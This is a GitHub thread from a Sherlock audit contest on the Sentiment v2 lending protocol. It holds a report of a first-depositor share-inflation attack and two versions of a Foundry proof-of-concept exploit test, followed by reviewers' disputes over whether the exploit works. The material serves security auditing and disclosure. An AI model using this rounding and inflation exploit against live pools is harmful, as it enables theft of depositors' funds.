sherlock-admin3 commented 1 month ago

goluu

High

The Rounding Done in Protocol's Favor Can Be Weaponized to Drain the Protocol

Summary

Empty pools' assets have been drained by the first depositor via inflating share prices.

Vulnerability Detail

Empty Pool Condition: The vulnerability occurs when the pool's total supply is zero.
Initial Deposit: The attacker deposits 1000 wei worth of underlying assets.
Borrowing: The attacker borrows 1000 wei using the borrow function.
transfer amount Position manager mint shares via transfer amount
Partial Repayment: Within the same block, the attacker repays 1000 wei. Due to rounding in favor of the protocol, total assets become 1001 wei, while the total supply remains 1000.
Withdraw: The attacker withdraws 999 wei, leaving the pool with a total supply of 1 and total assets of 2 wei.
Inflation Attack: The attacker repeatedly deposits and withdraws (total assets - 1) in the pool more than 80 times in a loop, leading to an inflated share price.

 function testfirstdepositor() external {
    uint assets = 1000;
    vm.assume(assets > 0);
    vm.startPrank(user);

    asset1.mint(user, 1000e18);
    asset1.approve(address(pool), assets);

    pool.deposit(linearRatePool, 1000, user);
    assertEq(pool.getAssetsOf(linearRatePool, user), assets);
    assertEq(pool.balanceOf(user, linearRatePool), assets); // Shares equal 1:1 at first
    vm.stopPrank();

    vm.startPrank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
    pool.borrow(linearRatePool, user, assets);
    vm.warp(block.timestamp + 10);
    vm.roll(block.number + 1 );
    asset1.mint(address(pool),1001);
    pool.repay(linearRatePool, user, assets + 1);

    vm.stopPrank();
    vm.startPrank(user);
    pool.withdraw(linearRatePool, 999 , user, user);

    asset1.mint(user, assets);
    asset1.approve(address(pool), 1000e18);

    uint256 n = 60;
    for(uint8 i = 0; i < n; i++){
        uint256 amount = i ** 2 + 1;
        pool.deposit(linearRatePool, amount , user);

        pool.withdraw(linearRatePool, 1 ,user,user);
        (,,,,,,,,,uint256 totalDepositAssets,uint256 totalDepositShares) = pool.poolDataFor(linearRatePool);
        require (totalDepositShares == 1, "should be one ");

    }

Impact

The first depositor loses their funds as the attacker manipulates the share price to drain the pool's assets.

Code Snippet

https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/Pool.sol#L275

Recommendation

Implement virtual shares or another mechanism to prevent rounding errors and price manipulation, especially when the pool is empty or has a very low total supply.

S3v3ru5 commented 1 week ago

Is it possible to get an estimate of value lost for the first depositor?

For every iteration, the totalAssets:totalShares ratio increases by 1.

after 1 iteration: 1 share = 2 wei after 2nd iteration: 1 share = 3 wei ... after 80 iterations: 1 share = 80 wei

So if the first depositor deposits less than 80 wei then shares minted are 0 and they lose the entire < 80 wei? If the value is greater than 80 wei then some shares will be minted, then value lost for rounding is also < 80 wei.

0xdeth commented 1 week ago

Escalate

As per the above comment.

We want to add that this is extremely gas inefficient which makes the attack loose it's incentive. To make the losses suffered by the first depositor worthwhile this attack has to do a huge amount of iterations making it even more inefficient.

@S3v3ru5 has explained it well.

sherlock-admin3 commented 1 week ago

Escalate

As per the above comment.

We want to add that this is extremely gas inefficient which makes the attack loose it's incentive. To make the losses suffered by the first depositor worthwhile this attack has to do a huge amount of iterations making it even more inefficient.

@S3v3ru5 has explained it well.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0xjuaan commented 1 week ago

Also the attack path in this issue is wrong, PoC fails since it tries to mint 0 shares:

Failing tests:
Encountered 1 failing test in test/core/Pool.t.sol:PoolUnitTests
[FAIL: Pool_ZeroSharesDeposit(76185170914664034982717614324376362661771448584651785366001810948719059386837 [7.618e76], 1)] testfirstdepositor() (gas: 430308)

Encountered a total of 1 failing tests, 0 tests succeeded

A correct vault inflation exploiting the rounding direction with high impact is shown in #90

g01u commented 4 days ago

The attack I created in the proof of concept (POC) is in a fully workable state; it's just that a typo occurred. I used uint256 amount = i ** 2 + 1; instead of uint256 amount = 2 ** i + 1;. I hope this clarifies that my issue is a valid.
Here is the difference checker link: https://www.diffchecker.com/srri9a9R/

function testfirstdepositor() external {
    uint assets = 1000;
    vm.assume(assets > 0);
    vm.startPrank(user);

    asset1.mint(user, 1000_000_000e18);
    asset1.approve(address(pool), type(uint256).max);

    pool.deposit(linearRatePool, 1000, user);
    assertEq(pool.getAssetsOf(linearRatePool, user), assets);
    assertEq(pool.balanceOf(user, linearRatePool), assets); // Shares equal 1:1 at first
    vm.stopPrank();

    vm.startPrank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
    pool.borrow(linearRatePool, user, assets);
    vm.warp(block.timestamp + 10);
    vm.roll(block.number + 1 );
    asset1.mint(address(pool),1001);
    pool.repay(linearRatePool, user, assets + 1);

    vm.stopPrank();
    vm.startPrank(user);
    pool.withdraw(linearRatePool, 999 , user, user);

    asset1.mint(user, assets);
    asset1.approve(address(pool), 1000e18);

    uint256 n = 60;
    for(uint8 i = 0; i < n; i++){
        uint256 amount = 2 ** i + 1;
        pool.deposit(linearRatePool, amount , user);

        pool.withdraw(linearRatePool, 1 ,user,user);
        (,,,,,,,,,uint256 totalDepositAssets,uint256 totalDepositShares) = pool.poolDataFor(linearRatePool);
        require (totalDepositShares == 1, "should be one ");
        console.log("TotalAssets: ", totalDepositAssets);
        console.log("TotalShares: ", totalDepositShares);
    }

   }

I also added that the issue is the exponential inflation of the share value. Here are the logs:
And also want to correct my last point: The attacker repeatedly deposits (2 ** i + 1 ) and withdraw such that there is only 1 share (which is also mentioned in my old POC pool.withdraw(linearRatePool, 1 ,user,user);) in the pool more than 60 times in a loop, leading to an inflated share price.

0xjuaan commented 4 days ago

The original report is incorrect in 2 places:

Inflation Attack: The attacker repeatedly deposits and withdraws (total assets - 1) in the pool more than 80 times in a loop, leading to an inflated share price.

Depositing totalAssets - 1 is incorrect, because it would lead to minting 0 shares, which reverts.

The PoC is incorrect due to depositing the wrong amount (unrelated to 1.), so it reverts.

I don't think such a report can be considered valid

g01u commented 4 days ago

As mentioned above that is just a typo, I used uint256 amount = i ** 2 + 1; instead of uint256 amount = 2 ** i + 1;

detail explanation:

Withdraw: The attacker withdraws 999 wei, leaving the pool with a total supply of 1 and total assets of 2 wei. hence, i deposit amount using for loop, uint256 amount = 2 i + 1 Loop0: `20 + 1 = 2 Loop1:21 + 1 = 3 Loop3:22 + 1 = 5 Loop4:2 ** 3 + 1 = 9` above I also provide logs also

I also added that please check this you get an idea: https://www.diffchecker.com/srri9a9R/

sherlock-audit / 2024-08-sentiment-v2-judging